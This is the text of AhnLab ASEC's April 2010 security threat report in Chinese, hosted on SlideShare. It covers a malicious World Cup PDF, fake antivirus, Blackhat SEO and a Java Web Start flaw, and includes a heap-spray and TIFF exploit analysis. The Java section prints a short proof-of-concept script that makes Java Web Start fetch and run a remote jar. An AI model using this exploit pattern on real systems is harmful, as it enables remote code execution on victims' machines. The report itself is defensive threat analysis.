SlideShare a Scribd company logo
2010 ASEC Report
Vol.04

安博士公司的安全响应中心(ASEC,            AhnLab Security
Emergency Response Center)是以病毒分析师及安全专家组
成的全球性安全响应组织。此报告书是由安博士公司的ASEC
制作,且包含每月发生的主要安全威胁与响应这些威胁的最新
安全技术的简要信息。
详细内容可以在[www.ahn.com.cn]里确认。


ASEC
2010-05-19
I. 每月安全疫情
  1. 病毒疫情 ......................... 오류! 책갈피가 정의되어 있지 않습니다.
  2. 安全疫情 ......................... 오류! 책갈피가 정의되어 있지 않습니다.
  3. 网络安全疫情 ................... 오류! 책갈피가 정의되어 있지 않습니다.


II. 专栏
  利用PDF漏洞的恶意代码的猖獗 ................................................. 13
Ⅰ. 每月安全疫情


 1. 病毒疫情


■利用南非世界杯的恶意 PDF 文件


在国外发现并且报告利用 Adobe Acrobat Reader 的错误的 TIFF 图片 Parsing 弱点的
恶意代码的出现示例。所使用的主题是伪装成关于 2010 南非世界杯的内容。 恶意
的 PDF 是具有之前所了解到的 CVE-2010-0188 弱点。经邮件发送的恶意代码是
通过有缺陷的 Adobe Acrobat Reader 读取时,对 TIFF 文件错误的 Parsing 与通过
ShellCode 来执行,之后在特定文件夹生成恶性文件并且试图偷窃信息。最近连续发
生的安全问题,用户必须相应的更新安全。




               [图 1] 具有缺陷的 PDF 文件运行过程
■ Blackhat SEO 技法威胁的增加

包 括 安 博 士 的 有 名 杀 毒 软 件 公 司 为 了 避 免 威 胁 安 全 事 件 , 利 用 Blackhat
SEO(Blackhat Search Engine Optimization)技法面对恶性代码传播与在线诈骗。
这个技法是从用户通过搜索引擎来检索并连接对搜索率高的单词或者特定主题开
始。网络犯罪者会制作传播恶性代码和在线诈骗网站,当用户在搜索引擎里检索一
些热门单词或主题时,试图把自己所制作的网站在搜索结果中排在前几位。他们会
传播大部分恶性代码或引起在线信用卡敲诈。主要是在国外经常报告,以前在
Volume 也提及过使用 Blackhat SEO 技法伪装成国内有名花样滑冰选手视频的网
站。4 月还发现并报告伪装成其它杀毒软件公司误诊信息的网站。用户最好在可信
赖的网站搜索信息,利用一下杀毒软件公司所提供的评判或者基于网站分析的安全
产品对安全有效的网上冲浪有所帮助。


■ 通过垃圾邮件传播的恶性代码

最近,邮件帐户域名作为标题诱导点击的垃圾邮件正在传播。

标题: *域* account notification

Dear Customer,
This e-mail was send by *域* to notify you that we have temporanly prevented
access to your account.
We have reasons to believe that your account may have been accessed by
someone else. Please run attached file and Follow instructions
(C) *域*

使用的邮件帐号为         id@ahnlab.com 的话,邮件标题为"ahnlab.com account
notification" 发送垃圾邮件。邮件会包含附件或 URL 链接。附件及 URL 链接都是恶
性代码,所以注意一下不要执行。
■ 攻击安全产品的恶性代码

最近发现的偷窃在线游戏帐号的间谍软件(Win-Spyware/PWS.OnlineGame)会改
变与安全产品有关联的模块来妨碍正常启动。被间谍软件感染时,会发生安全产品特
定功能不能正常运行。这是迂回以前诊断并治疗自己的安全产品的技法所改变的,还
会除了相应间谍软件以外还会持续对其它安全导致威胁。这样的间谍软件主要是利用
网络浏览器安全弱点或者操作系统的缺陷来感染的,所以用户最好要预防对外部的攻
击。也要养成不要轻易点击怀疑的邮件或链接。



■ 不断的虚假杀毒软件

由于虚假杀毒软件引起的危害没有间断过。过去杀毒软件通过 ActiveX 控件在不特定
多数的网站进行传播,在很多安全公司及相关机构的努力下,数量减少了很多。但是
最近虚假杀毒软件会利用安全缺陷,其它 Adware 的捆绑或者使用程序更新, 还有与
Web Hard 一样的网络服务合作程序来安装的示例正在增加。这样安装的虚假杀毒软
件拦截用户正常使用电脑,更改桌面来造成用户的不安感,或者弹出虚假或夸张的诊
断结果来诱导用户结算。
[图 2] 不经用户许可安装的虚假杀毒软件



这样的虚假杀毒软件使用如上的传播及安装方法,其中大部分都是用户没有印象的。
还会持续弹出虚假挥着夸张的诊断结果来造成用户的不安感,也没有正常的服务中
心。还有但部分会自动结算延长服务,会发生每月有一定的金额自动结算的问题。防
止相应的问题,安装新程序时不要无条件点击“是”,最好查看一下同时安装的有哪
些程序,重要的是一定要注意相关服务是否真的是我所需要的服务。
2.      安全疫情

 Java JRE deploytk.dll ActiveX Control Multiple BOF 缺陷

这次 Volume 看一下在 Java JRE 经常发生的 BOF 缺陷。Oracle Java Web Start 是
Java 2 Runtime Environment (JRE)的部件。关于 Web Start Application 的消息是
保存在 Java Network Launching Protocol(JNLP)文件内, 与 Javaws Utility 默认安
装。
<jnlp-file>参数包含 URL,其中“-J<option>”允许 Javaw 在 Virtual Machine 选项
里提供。在 Virtual Machine 中提供的选项当中“-jar”选项是 Virtual Machine 在
Java Application 的位置,指示可以使用“Java Archive file(JAR)”。Oracle Java
Web Start 使用户利用 JNLP 文件 URL 来安装并开始 Application,给 Java 开发人员
提 供 方 法。 为了开发人员在 Client Machin 中执行, Oracle 公开了 称为“Java
Plugin ” 和 “ Java Deployment Toolkit ” 的 NPAPI 和 ActiveX 技 术 。
提供这个技术的库有 jp2iexp.dll, npjp2.dll, npdeploytk.dll, deploytk.dll。

      Class ID Java Technology
      -------------------------------------------------------
      CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA Deployment Kit Control
      8AD9C840-044E-11D1-B3E9-00805F499D93              Java Plugin
      Control
                [图 3] 为了 Start Application 使用的 ActiveX object(IE)




以下是 Web Start Application 相关的两个函数。

      • launch - Launches JNLP application using the plugin if available.
      • launchWebStartApplication(jnlp) - Launches the JNLP application
      specified by the jnlp file parameter.
                   [图 4] 与 Web Start Applicaton 相关的两个函数


以下是从 Internet Explorer 抽取的相关利用脆弱点的 PoC 的部分。

      var u = "http: -J-jar -Jxxx.xxxxxxxxx.comxxxx.jar none";

      if (window.navigator.appName == "Microsoft Internet Explorer") {
          var o = document.createElement("OBJECT");

        o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
o.launch(u);
                              [图 5] 利用相应脆弱点的 PoC


在 Oracle Java Web Start 中存在 command line Injection 缺陷。这个缺陷是因为
Java Web Start 开始时,以“Java Plugin”和 “Java Deployment Toolkit”来没有
适当验证 JNLP 网络路径。为了开始 Web Start Application 使用“Java Plugin”和
“Java Deployment Toolkit”时,表面确认一下 URL 路径是否是正确的网络资源一
旦输入了正确的 URL 就执行 Javaws Command-line Utility。URL 内有“-J”文字
时,Web Start deployment technology 向 Javaws Utility 传送不正确的 command
line 参数。

以下是 version 6.0.180.7 的 deploytk.dll 文件内脆弱部分

  1000B8AF   8D45 E4      LEA EAX,DWORD PTR SS:[EBP-1C]
  1000B8B2   50        PUSH EAX
  1000B8B3   8D45 A0      LEA EAX,DWORD PTR SS:[EBP-60]
  1000B8B6   50        PUSH EAX
  1000B8B7   53        PUSH EBX
  1000B8B8   53        PUSH EBX
  1000B8B9   53        PUSH EBX
  1000B8BA   53         PUSH EBX
  1000B8BB   53         PUSH EBX
  1000B8BC   53         PUSH EBX
  1000B8BD   56         PUSH ESI
  1000B8BE   8D85 9CFEFFFF LEA EAX,DWORD PTR SS:[EBP-164]
  1000B8C4   50         PUSH EAX
  1000B8C5   C745 A0 4400000>MOV DWORD PTR SS:[EBP-60],44
  1000B8CC   FF15 58210210 CALL DWORD PTR DS:[<&KERNEL32.CreateProc>;kernel32.CreateProcessA
                          [图 6] deploytk.dll 文件内脆弱部分


以下是调用 Kernel32. CreateProcessA 相应值内容。

  ModuleFileName = "C:Program FilesJavajre6binjavaws.exe"
  CommandLine = ""C:Program FilesJavajre6binjavaws.exe"
                                        http: -J-jar -Jxxx.xxxxxxxxx.comxxxx.jar none"
  pProcessSecurity = NULL
  pThreadSecurity = NULL
  InheritHandles = FALSE
  CreationFlags = 0
  pEnvironment = NULL
  CurrentDir = NULL
  pStartupInfo = 01E6F4FC
  pProcessInfo = 01E6F540
                    [图 7] 调用 Kernel32.CreateProcessA 相应值


在 deploytk.dll 用 Kernel32. CreateProcessA 函 数 时 , 进 入 了 ""C:Prog ram
FilesJavajre6binjavaws.exe" http: -J-jar –J xxxx. xxxxxxxx.com
xxxx.jar none"利用恶性代码来运行。Javaws “-J” 参数与 Virtual Machine 参数
“-jar”一起连接使用的话,攻击者会摆脱限制的 Java Security Sandbox,任意
Java Code 来登录后以用户权限来执行。远程攻击者会制作带有恶意性的 HTML
Document 诱导一般用户来利用缺陷。



 侵害网站 Case Study: 攻击杀毒软件的 Win-Trojan/Online gamehack.
100931

在国内发生了游戏网站侵害事故,知道 Win-Trojan/Onlinegamehack. 100931 正在
传播,最终下载的 m.exe 执行并生成%SYSTEM%softqq[任意数字]dll。生成的
DLL 损坏多数安全产品的文件使之无法运行的 AVKiller。




                       http://www.****game.com

                 ----> http://211.***.217.***/fk.asp

                 ----> http://ryus****.net/****/m.exe



        [图 8] Win-Trojan/Onlinegamehack.100931 的传播阶段


还有 DLL 从特定网站下载并执行 GameHack 恶意代码。接着这样的恶性代码直接攻
击安全软件使功能无效,所以需要加倍注意
3. 网络安全疫情
 伪装成 McAfee 误诊事故消息在 Google 所搜结果的虚假杀毒软件

按海外时间 4 月 21 日,美国安全公司 McAfee 发生了把正常 Windows 系统文件
svchost.exe 诊断为 W32/Wecorl.a 恶性代码的误诊。利用这个误诊事故把搜索结果
调整在上位,利用 BlackHat SEO(Search Engine Optimization)技法来传播虚假杀毒
软件。这次通过 Google 搜索引擎传播的虚假杀毒软件就像下图中所看到的,当检索
跟 McAfee 误诊事故有关的关键词时传播恶性代码的网站为放在搜索结果第一页中,
诱导用户访问。




            [图 9 在 Google 搜索结果中排在上位的恶意网站


点击相应链接时,如同下图弹出警告窗口显示系统被恶性代码感染的虚假信息。
[图 10] 被恶性代码感染的虚假警告窗口

然后点击的话,虚假杀毒软件被执行,显示用户系统被恶性代码严重感染的虚假信
息。




        [图 11] 显示操作好的结果的虚假杀毒软件扫描结果


当扫描结果结束后,显示以下警告窗口。Window
系统使用的正常文件 explorer.exe 被恶性代码感染需治疗的虚假结果来欺骗用户。
[图 12] 把正常文件诊断为恶性代码向用户提供虚假结果

在图片当中点击“Protect”,会下载 setup_build30 _195.exe(353,280 字节)文件并
且试图执行。但实际上,下载文件并运行的话,会安装国外制作的虚假杀毒软件,看
似系统文件被恶性文件感染的虚假扫描结果,同时诱导结算。
Ⅱ. 专栏

 利用 PDF 漏洞的恶意代码的猖獗


从 2007 年开始出现的恶意利用 Adobe Acrobat Reader 漏洞,也就是 PDF 漏洞的攻
击经过 2008 年和 2009 年,正式成为了基于文件的攻击代表。今年也已上报了很多
PDF 漏洞,预测对恶意利用 PDF 漏洞的攻击方式也会不断增加。首先,看一下去年 7
月 发 表 的 Adobe Reader, Acrobat and Flash Player Remote Code
Execution(CVE-2009-1862)漏洞。该漏洞虽是 Flash Player 上存在的漏洞,但
Adobe Acrobat Reader 上也安装有这个 Flash 引擎,所以被上报为其他 PDF 漏洞。
因此,由插入(Embedded)一个恶意的 Flash 文件到 PDF 文件内,可利用 Web 或
PDF 文件的多重攻击也是一个很有趣的案例。

本溪专栏中要提及的 CVE-2010-0188 漏洞1也是类似的。2006 年发表的 LibTIFF
TiffFetchShortPair Remote Buffer Overflow (CVE-2006-3459) 漏洞是为了把
初期的 iPhone Jailbreak 而使用的。该漏洞是开放式源码库 libtiff 3.8.1 下存在的,
随之该库安装在 Adobe Reader 9.3.0 版本后,又一个 PDF 漏洞出现了。以插入
(embedded)TIFF(Tag Image File Format)文件到 PDF 文件的方法,通过 PDF 的攻
击变得可能。像这样,随着通过一个漏洞,影响到多数应用程序的的案例的增加,使
用开放式源码库或为了兼容性和功能扩展安装相同的引擎时,对于发生相同问题的可
能 性 , 有 必 要 了 解 一 下 。 该漏洞通过 MS 社的 Malware Protection
Center 博客开始扩散,实际上与现有的基于文件的攻击一样,以社会工学攻击方式—
E-mail 的附件形式散布。




1
    http://www.adobe.com/support/security/bulletins/apsb10-07.html
[图 13] 散布有漏洞的 PDF 文件的邮件 (出处 : Crontab)

那么开始正式了解一下 CVE-2010-0188 这个漏洞。该专栏中考虑到基于文件的攻
击,先通过静态(Static)分析预测,再通过动态(Dynamic)分析进一步验证。


1. 静态(Static) 分析

以前的恶意 PDF 文件不打开也可以看见内部没有加密的 JS 字符窜。但是,最近利用
多样的加密方法,把信息隐藏在内部,同时把鉴别 Java 脚本的 Java 脚本(/JS,
/Javascript) 字 符 窜 也 加 密 处 理 , 这 样 加 深 了 分 析 与 监 测 的 难 度 。
因此,首先要解密压缩(/FlateDecode)数据流,然后进一步了解一下内部信息。
1



    2




    3


                      [图 14] 内部 JS

该 PDF 文件内隐藏如上图的压缩数据流形式的 JS。它使用了现有的 Web 攻击和 PDF 文
件攻击中常用到的 Heap-Spray 技巧。

   ○ ShellCode(攻击者代码) + ○ Heap-Spraying 代码 + ○ 漏洞发生代码
   1                    2                    3



真正发生漏洞的 exploit.tif 文件也存在与其他压缩流中,解压后以 Base64 解密,能
看到如下图所示的恶意 TIFF 形式的代码。




                       [图 15] 提取




                    [图 17] Base64 解密

那么,观察一下 TIFF 文件的内部。
[图 16] exploit.tif 内部结构

实际上         exploit.tif  文件的内部存在上面介绍过的            CVE-2006-
3459    漏洞的原因之一的        DotRange(Tag ID: 0x0150)标记,DotRange
Value 的数据部分大多数以 0C0C0C0C 值填满。0C0C0C0C 值也是在 Heap-Spray 作
为 ShellCode 位置的跳转地址经常用到的。那么,不用运行实际样本,只通过目前的
数据也可以预测文件的攻击情形。也许复制比解析 TIFF 文件的过程中分配的缓冲空间
更多的 DotRange Value 字符串作为堆,原来的返回地址(RET)或异常处理程序
(SEH)的地址会全部覆盖为 0X0C0C0C 值。随之,之后返回的过程中,通过 JS 程
序流程改向已经填满 0X0C0C0C0C 的地址,攻击者的 ShellCode 预测有运行结构。


2. 动态(Dynamic) 分析

现在以跟进代码段验证是否像之前预期的流程一样运行。运行恶意的 PDF 文件后,如
下图所示,AcroForm.api 的 TIFFReadire tory 程序反复执行,解析 exploit.tif 文件的
数据,这时,通过 memcpy() 函数复制 DotRange Value 值作为堆。
[图 17] 堆栈溢出函数

观察数据复制前与后的堆栈的话,可以看出 RET 地址超过原堆栈的本地缓冲区空间覆
盖了 0X0C0C0C0C 值。




                     [图 18] 栈结构

函数返回之前通过 JS 固定的堆地址已由攻击者的 Shellcode 填满,堆内存地址中在
0X0C0C0C0C 设 BP(BreakPoint)后,被覆盖的 RET 地址值被引用并且可以确认跳转
到该地址。从跳转的地址经过垃圾代码 NOP,接着实际攻击者的 Shellcode 如同下图
就执行了。
[图 19] 运行 Shellcode




                   [图 20] Shellcode 解密后

实际的 Shellcode 经过内部的解密程序从 PDF 文件内部释放 a.exe(Win-Trojan/Q 文
件到 C: 盘并运行。如同下图,
[图 21] 恶意的 PDF 动作的进程

不仅是这次的漏洞,至今上报的很多 PDF 漏洞为了成功的攻击,直接或者间接性地利
用了 JS。随之根据情况,以解除 Adobe Reader 的“JavaScript 可用(J)”选项可减少
临时的损失。但是,最重要的还是使用反病毒软件和它最新的安全补丁。

More Related Content

PDF
安博士Asec 2010年3月安全报告
PDF
安博士Asec 2010年7月安全报告
DOCX
C语言benchmark覆盖信息收集总结4
DOCX
Spring4.x + hibernate4.x_配置详解
PDF
Spring框架,技术详解及使用指导
PPTX
基于Ivy ant的java构建初探
PPTX
张所勇:前端开发工具推荐
PPTX
一個微信專案從0到000的效能調教
安博士Asec 2010年3月安全报告
安博士Asec 2010年7月安全报告
C语言benchmark覆盖信息收集总结4
Spring4.x + hibernate4.x_配置详解
Spring框架,技术详解及使用指导
基于Ivy ant的java构建初探
张所勇:前端开发工具推荐
一個微信專案從0到000的效能調教

Viewers also liked (18)

PDF
Criteria for determining predatory OA publishers
PDF
安博士Asec 2010年1月安全报告
PDF
White paper apc3.0
PDF
Surathian1
PPTX
ระบบการศึกษาเพื่อสร้างนักวิจัยรุ่นใหม่ Onec 590725_first
PPTX
การศึกษาของบุคลากรสุขภาพ 590727
PDF
Strategic plan agenda
PPTX
ระบบการศึกษาเพื่อสร้างนักวิจัยรุ่นใหม่ Onec 590725_last
PPTX
การเรียนการสอนที่ผูกพันกับสังคม 590726 n
PPTX
New education tu 590616_n
PPTX
กศ. เพื่อพัฒนาท้องถิ่น ม. กาฬสินธุ์ 590728
PPTX
สติ วิถีแห่งสุขภาพจิตดี
PPTX
Early childhood sdu 590721_first
PDF
Global education reform
PDF
Deployment instruction trus guard utm 500
PPTX
KM 3.0 กับการพัฒนาคุณภาพบัณฑิต
PDF
安博士Asec 2010年12月安全报告
PDF
Training apc-3.0
Criteria for determining predatory OA publishers
安博士Asec 2010年1月安全报告
White paper apc3.0
Surathian1
ระบบการศึกษาเพื่อสร้างนักวิจัยรุ่นใหม่ Onec 590725_first
การศึกษาของบุคลากรสุขภาพ 590727
Strategic plan agenda
ระบบการศึกษาเพื่อสร้างนักวิจัยรุ่นใหม่ Onec 590725_last
การเรียนการสอนที่ผูกพันกับสังคม 590726 n
New education tu 590616_n
กศ. เพื่อพัฒนาท้องถิ่น ม. กาฬสินธุ์ 590728
สติ วิถีแห่งสุขภาพจิตดี
Early childhood sdu 590721_first
Global education reform
Deployment instruction trus guard utm 500
KM 3.0 กับการพัฒนาคุณภาพบัณฑิต
安博士Asec 2010年12月安全报告
Training apc-3.0
Ad

Similar to 安博士Asec 2010年4月安全报告 (20)

PDF
Php应用程序常见安全问题解析
PDF
安博士Asec 2010年9月安全报告
PPT
Java 1(Java概述)
PPTX
常用开发工具介绍
PDF
Jni攻略之十――操作Java虚拟机
PPT
IKVM.NET 深入敵營的 Java
KEY
Flex 4.5 action custom component development
PDF
Axis1.4 开发指南 V1.0
PPT
千呼萬喚始出來的Java SE 7
PPT
beidakejian
PDF
六步教你学会简单Rmi
PDF
OpenCV 2.4.2在codeblocks 10.05的環境設定
PPTX
Java Crash分析(2012-05-10)
PPTX
[xKungFoo2012]Web Service Hack
PPT
Eclipse開發平台快速入門
PDF
恶意网页分析实战
PPT
Java2新觀念教本投影片ch1
PDF
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
PDF
2012 java two-desktop-appliction-using-j-ruby-with-swt
 
Php应用程序常见安全问题解析
安博士Asec 2010年9月安全报告
Java 1(Java概述)
常用开发工具介绍
Jni攻略之十――操作Java虚拟机
IKVM.NET 深入敵營的 Java
Flex 4.5 action custom component development
Axis1.4 开发指南 V1.0
千呼萬喚始出來的Java SE 7
beidakejian
六步教你学会简单Rmi
OpenCV 2.4.2在codeblocks 10.05的環境設定
Java Crash分析(2012-05-10)
[xKungFoo2012]Web Service Hack
Eclipse開發平台快速入門
恶意网页分析实战
Java2新觀念教本投影片ch1
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
2012 java two-desktop-appliction-using-j-ruby-with-swt
 
Ad

More from ahnlabchina (20)

PDF
安博士Utm性能参考
PDF
Training apc-4.0
PDF
Training apc-3.0
PDF
Training ahn lab-scm
PDF
Training ahn lab-scm
PDF
White paper apc4.0
PDF
White paper ahnlab scm
PDF
White paper ahn lab trusguard utm
PDF
Manual instruction apc3.0
PDF
Manual instruction apc4.0
PDF
Brochure apc4.0
PDF
Brochure ahn lab trusguard utm
PDF
Brochure ahn lab-soc
PDF
Commercial model quality
PDF
Commercial model program license
PDF
Commercail model apc license model
PDF
Commercial model technical
PDF
Commercial model postsales services
PDF
Solution apc 3.0
PDF
Solution ahn lab scm(manufactory)
安博士Utm性能参考
Training apc-4.0
Training apc-3.0
Training ahn lab-scm
Training ahn lab-scm
White paper apc4.0
White paper ahnlab scm
White paper ahn lab trusguard utm
Manual instruction apc3.0
Manual instruction apc4.0
Brochure apc4.0
Brochure ahn lab trusguard utm
Brochure ahn lab-soc
Commercial model quality
Commercial model program license
Commercail model apc license model
Commercial model technical
Commercial model postsales services
Solution apc 3.0
Solution ahn lab scm(manufactory)

安博士Asec 2010年4月安全报告

  • 1. 2010 ASEC Report Vol.04 安博士公司的安全响应中心(ASEC, AhnLab Security Emergency Response Center)是以病毒分析师及安全专家组 成的全球性安全响应组织。此报告书是由安博士公司的ASEC 制作,且包含每月发生的主要安全威胁与响应这些威胁的最新 安全技术的简要信息。 详细内容可以在[www.ahn.com.cn]里确认。 ASEC 2010-05-19
  • 2. I. 每月安全疫情 1. 病毒疫情 ......................... 오류! 책갈피가 정의되어 있지 않습니다. 2. 安全疫情 ......................... 오류! 책갈피가 정의되어 있지 않습니다. 3. 网络安全疫情 ................... 오류! 책갈피가 정의되어 있지 않습니다. II. 专栏 利用PDF漏洞的恶意代码的猖獗 ................................................. 13
  • 3. Ⅰ. 每月安全疫情 1. 病毒疫情 ■利用南非世界杯的恶意 PDF 文件 在国外发现并且报告利用 Adobe Acrobat Reader 的错误的 TIFF 图片 Parsing 弱点的 恶意代码的出现示例。所使用的主题是伪装成关于 2010 南非世界杯的内容。 恶意 的 PDF 是具有之前所了解到的 CVE-2010-0188 弱点。经邮件发送的恶意代码是 通过有缺陷的 Adobe Acrobat Reader 读取时,对 TIFF 文件错误的 Parsing 与通过 ShellCode 来执行,之后在特定文件夹生成恶性文件并且试图偷窃信息。最近连续发 生的安全问题,用户必须相应的更新安全。 [图 1] 具有缺陷的 PDF 文件运行过程
  • 4. ■ Blackhat SEO 技法威胁的增加 包 括 安 博 士 的 有 名 杀 毒 软 件 公 司 为 了 避 免 威 胁 安 全 事 件 , 利 用 Blackhat SEO(Blackhat Search Engine Optimization)技法面对恶性代码传播与在线诈骗。 这个技法是从用户通过搜索引擎来检索并连接对搜索率高的单词或者特定主题开 始。网络犯罪者会制作传播恶性代码和在线诈骗网站,当用户在搜索引擎里检索一 些热门单词或主题时,试图把自己所制作的网站在搜索结果中排在前几位。他们会 传播大部分恶性代码或引起在线信用卡敲诈。主要是在国外经常报告,以前在 Volume 也提及过使用 Blackhat SEO 技法伪装成国内有名花样滑冰选手视频的网 站。4 月还发现并报告伪装成其它杀毒软件公司误诊信息的网站。用户最好在可信 赖的网站搜索信息,利用一下杀毒软件公司所提供的评判或者基于网站分析的安全 产品对安全有效的网上冲浪有所帮助。 ■ 通过垃圾邮件传播的恶性代码 最近,邮件帐户域名作为标题诱导点击的垃圾邮件正在传播。 标题: *域* account notification Dear Customer, This e-mail was send by *域* to notify you that we have temporanly prevented access to your account. We have reasons to believe that your account may have been accessed by someone else. Please run attached file and Follow instructions (C) *域* 使用的邮件帐号为 id@ahnlab.com 的话,邮件标题为"ahnlab.com account notification" 发送垃圾邮件。邮件会包含附件或 URL 链接。附件及 URL 链接都是恶 性代码,所以注意一下不要执行。
  • 5. ■ 攻击安全产品的恶性代码 最近发现的偷窃在线游戏帐号的间谍软件(Win-Spyware/PWS.OnlineGame)会改 变与安全产品有关联的模块来妨碍正常启动。被间谍软件感染时,会发生安全产品特 定功能不能正常运行。这是迂回以前诊断并治疗自己的安全产品的技法所改变的,还 会除了相应间谍软件以外还会持续对其它安全导致威胁。这样的间谍软件主要是利用 网络浏览器安全弱点或者操作系统的缺陷来感染的,所以用户最好要预防对外部的攻 击。也要养成不要轻易点击怀疑的邮件或链接。 ■ 不断的虚假杀毒软件 由于虚假杀毒软件引起的危害没有间断过。过去杀毒软件通过 ActiveX 控件在不特定 多数的网站进行传播,在很多安全公司及相关机构的努力下,数量减少了很多。但是 最近虚假杀毒软件会利用安全缺陷,其它 Adware 的捆绑或者使用程序更新, 还有与 Web Hard 一样的网络服务合作程序来安装的示例正在增加。这样安装的虚假杀毒软 件拦截用户正常使用电脑,更改桌面来造成用户的不安感,或者弹出虚假或夸张的诊 断结果来诱导用户结算。
  • 7. 2. 安全疫情  Java JRE deploytk.dll ActiveX Control Multiple BOF 缺陷 这次 Volume 看一下在 Java JRE 经常发生的 BOF 缺陷。Oracle Java Web Start 是 Java 2 Runtime Environment (JRE)的部件。关于 Web Start Application 的消息是 保存在 Java Network Launching Protocol(JNLP)文件内, 与 Javaws Utility 默认安 装。 <jnlp-file>参数包含 URL,其中“-J<option>”允许 Javaw 在 Virtual Machine 选项 里提供。在 Virtual Machine 中提供的选项当中“-jar”选项是 Virtual Machine 在 Java Application 的位置,指示可以使用“Java Archive file(JAR)”。Oracle Java Web Start 使用户利用 JNLP 文件 URL 来安装并开始 Application,给 Java 开发人员 提 供 方 法。 为了开发人员在 Client Machin 中执行, Oracle 公开了 称为“Java Plugin ” 和 “ Java Deployment Toolkit ” 的 NPAPI 和 ActiveX 技 术 。 提供这个技术的库有 jp2iexp.dll, npjp2.dll, npdeploytk.dll, deploytk.dll。 Class ID Java Technology ------------------------------------------------------- CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA Deployment Kit Control 8AD9C840-044E-11D1-B3E9-00805F499D93 Java Plugin Control [图 3] 为了 Start Application 使用的 ActiveX object(IE) 以下是 Web Start Application 相关的两个函数。 • launch - Launches JNLP application using the plugin if available. • launchWebStartApplication(jnlp) - Launches the JNLP application specified by the jnlp file parameter. [图 4] 与 Web Start Applicaton 相关的两个函数 以下是从 Internet Explorer 抽取的相关利用脆弱点的 PoC 的部分。 var u = "http: -J-jar -Jxxx.xxxxxxxxx.comxxxx.jar none"; if (window.navigator.appName == "Microsoft Internet Explorer") { var o = document.createElement("OBJECT"); o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
  • 8. o.launch(u); [图 5] 利用相应脆弱点的 PoC 在 Oracle Java Web Start 中存在 command line Injection 缺陷。这个缺陷是因为 Java Web Start 开始时,以“Java Plugin”和 “Java Deployment Toolkit”来没有 适当验证 JNLP 网络路径。为了开始 Web Start Application 使用“Java Plugin”和 “Java Deployment Toolkit”时,表面确认一下 URL 路径是否是正确的网络资源一 旦输入了正确的 URL 就执行 Javaws Command-line Utility。URL 内有“-J”文字 时,Web Start deployment technology 向 Javaws Utility 传送不正确的 command line 参数。 以下是 version 6.0.180.7 的 deploytk.dll 文件内脆弱部分 1000B8AF 8D45 E4 LEA EAX,DWORD PTR SS:[EBP-1C] 1000B8B2 50 PUSH EAX 1000B8B3 8D45 A0 LEA EAX,DWORD PTR SS:[EBP-60] 1000B8B6 50 PUSH EAX 1000B8B7 53 PUSH EBX 1000B8B8 53 PUSH EBX 1000B8B9 53 PUSH EBX 1000B8BA 53 PUSH EBX 1000B8BB 53 PUSH EBX 1000B8BC 53 PUSH EBX 1000B8BD 56 PUSH ESI 1000B8BE 8D85 9CFEFFFF LEA EAX,DWORD PTR SS:[EBP-164] 1000B8C4 50 PUSH EAX 1000B8C5 C745 A0 4400000>MOV DWORD PTR SS:[EBP-60],44 1000B8CC FF15 58210210 CALL DWORD PTR DS:[<&KERNEL32.CreateProc>;kernel32.CreateProcessA [图 6] deploytk.dll 文件内脆弱部分 以下是调用 Kernel32. CreateProcessA 相应值内容。 ModuleFileName = "C:Program FilesJavajre6binjavaws.exe" CommandLine = ""C:Program FilesJavajre6binjavaws.exe" http: -J-jar -Jxxx.xxxxxxxxx.comxxxx.jar none" pProcessSecurity = NULL pThreadSecurity = NULL InheritHandles = FALSE CreationFlags = 0 pEnvironment = NULL CurrentDir = NULL pStartupInfo = 01E6F4FC pProcessInfo = 01E6F540 [图 7] 调用 Kernel32.CreateProcessA 相应值 在 deploytk.dll 用 Kernel32. CreateProcessA 函 数 时 , 进 入 了 ""C:Prog ram FilesJavajre6binjavaws.exe" http: -J-jar –J xxxx. xxxxxxxx.com xxxx.jar none"利用恶性代码来运行。Javaws “-J” 参数与 Virtual Machine 参数
  • 9. “-jar”一起连接使用的话,攻击者会摆脱限制的 Java Security Sandbox,任意 Java Code 来登录后以用户权限来执行。远程攻击者会制作带有恶意性的 HTML Document 诱导一般用户来利用缺陷。  侵害网站 Case Study: 攻击杀毒软件的 Win-Trojan/Online gamehack. 100931 在国内发生了游戏网站侵害事故,知道 Win-Trojan/Onlinegamehack. 100931 正在 传播,最终下载的 m.exe 执行并生成%SYSTEM%softqq[任意数字]dll。生成的 DLL 损坏多数安全产品的文件使之无法运行的 AVKiller。 http://www.****game.com ----> http://211.***.217.***/fk.asp ----> http://ryus****.net/****/m.exe [图 8] Win-Trojan/Onlinegamehack.100931 的传播阶段 还有 DLL 从特定网站下载并执行 GameHack 恶意代码。接着这样的恶性代码直接攻 击安全软件使功能无效,所以需要加倍注意
  • 10. 3. 网络安全疫情  伪装成 McAfee 误诊事故消息在 Google 所搜结果的虚假杀毒软件 按海外时间 4 月 21 日,美国安全公司 McAfee 发生了把正常 Windows 系统文件 svchost.exe 诊断为 W32/Wecorl.a 恶性代码的误诊。利用这个误诊事故把搜索结果 调整在上位,利用 BlackHat SEO(Search Engine Optimization)技法来传播虚假杀毒 软件。这次通过 Google 搜索引擎传播的虚假杀毒软件就像下图中所看到的,当检索 跟 McAfee 误诊事故有关的关键词时传播恶性代码的网站为放在搜索结果第一页中, 诱导用户访问。 [图 9 在 Google 搜索结果中排在上位的恶意网站 点击相应链接时,如同下图弹出警告窗口显示系统被恶性代码感染的虚假信息。
  • 11. [图 10] 被恶性代码感染的虚假警告窗口 然后点击的话,虚假杀毒软件被执行,显示用户系统被恶性代码严重感染的虚假信 息。 [图 11] 显示操作好的结果的虚假杀毒软件扫描结果 当扫描结果结束后,显示以下警告窗口。Window 系统使用的正常文件 explorer.exe 被恶性代码感染需治疗的虚假结果来欺骗用户。
  • 12. [图 12] 把正常文件诊断为恶性代码向用户提供虚假结果 在图片当中点击“Protect”,会下载 setup_build30 _195.exe(353,280 字节)文件并 且试图执行。但实际上,下载文件并运行的话,会安装国外制作的虚假杀毒软件,看 似系统文件被恶性文件感染的虚假扫描结果,同时诱导结算。
